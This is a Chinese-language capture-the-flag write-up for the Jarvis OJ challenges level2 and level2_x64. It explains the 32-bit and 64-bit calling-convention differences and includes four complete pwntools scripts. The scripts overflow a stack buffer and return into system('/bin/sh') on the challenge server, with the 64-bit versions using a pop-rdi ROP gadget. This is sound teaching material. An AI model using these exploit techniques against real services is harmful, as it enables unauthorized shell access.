jarivs oj中的level2与level2_x64的相同与区别
level2
题目链接https://dn.jarvisoj.com/challengefiles/level2.54931449c557d0551c4fc2a10f4778a1
对于这道题,按照基本思路就是先拖入ubuntu中进行查壳,输入checksec level2
然后我们会发现它只打开了NX保护机制,又是典型的栈溢出,发现是32位的,再将文件拖入32位的IDA中查看
按照常规首先查看主函数
在查看主函数的过程中,会发现’hello world’下面一行就是call system,突然发现跟之前的题有点像,先不管这个,我们继续按Tab加空格键进行跟随
你会发现这里调用了vulnerable_function()的函数,继续跟进去看看
会发现这里的read函数,即在这里栈溢出。
接下来继续去找system和’/bin/sh’,还记得刚才看到的call system的函数吗,在这里用到了,我们点击进去刚才的函数
在双击_system,进入system
这里的08048320即为system的地址
按常规,我们再按Shift加F12进行查看String window
发现这里有/bin/sh,我们跟随着点进去
这里的0804A024即为/bin/sh的地址,接下来我们就可以写脚本了
脚本1:
from pwn import *
io = remote('pwn2.jarvisoj.com',9878)
elf = ELF('./level2')
sys_addr = elf.symbols['system']
print p32(sys_addr)
sh_addr = elf.search('/bin/sh').next()
payload = 'A' * (0x88 + 0x4 ) + p32(sys_addr)+p32(0x1) + p32(sh_addr)
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()
脚本2:
from pwn import *
io = remote('pwn2.jarvisoj.com',9878)
sys_addr = 0x08048320
sh_addr = 0x0804A024
payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
io.sendline(payload)
io.interactive()
io.close()
发现脚本1与脚本二的不同了吗,脚本2相对于脚本1去掉了
elf = ELF('./level2')
然后把下面两个换成了相应的地址
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
是不是发现方便了很多,当然如果确定有system和/bin/sh,但找不到的话,或者防止出错,建议使用第一种脚本。对于脚本1和脚本2中的payload,脚本1中的payload中是p32(0x1),脚本2中的payload是p32(0xdeadbeef),其实对于这个没有什么特别的规定,只要是一些东西用来覆盖system中的值即可。
对于payload中,‘A’ * (0x88 + 0x4)用来填满buf,后面加上system的地址,之后再跟上/bin/sh的地址,用system来执行/bin/sh,但是对于32位的要先覆盖后执行。运行脚本即得到flag。
level2_x64
同level2一样,先进行查壳,发现是64位的,直接拖进64位的IDA中查看即可,相同的步骤就不再叙述了,对于level2_x64与level2的区别在于,x64中的前六个参数以此保存在rdi,rsi,rdx,rcx,r8,r9中,还有其他的值才会保存在栈中,因此我们要找到rdi的地址,将执行地址直接加到rdi之上,进行栈溢出,建议查看一下x86-64位汇编语言会更加清楚。
因此我们需要找到rdi的地址
这里我们需要用到ROPgadget这个工具进行查找地址,
在ubuntu的终端输入
ROPgadget --binary level2_x64 --only "pop|rdi|ret"
进行查找
发现中间的
这一句是有用的,而前面的4006b3即为rdi的地址
接下来我们来写脚本
脚本1:
from pwn import *
r=remote('pwn2.jarvisoj.com',9882)
e=ELF('./level2_x64')
sys_addr=e.symbols['system']
bin_addr=e.search('/bin/sh').next()
payload='a'*0x80+'bbbbbbbb'+p64(0x4006b3)+p64(bin_addr)+p64(sys_addr)+'junkjunk'
r.send(payload)
r.interactive()
脚本2:
from pwn import *
p=remote("pwn2.jarvisoj.com","9882")
sys_addr=0x40063E
sh_addr=0x600A90
payload='a'*0x88+p64(0x4006b3)+p64(sh_addr)+p64(sys_addr)+p64(0x1)
p.sendline(payload)
p.interactive()
发现没有脚本2中我把所有的都直接换了地址,对于x64位与32位的,你会发现它增加了rdi的地址,并且把/bin/sh的地址放在了system地址之前,最后才对system中的值进行覆盖,即32位的先覆盖后执行,x64位的先执行后覆盖。
执行脚本便可发现flag。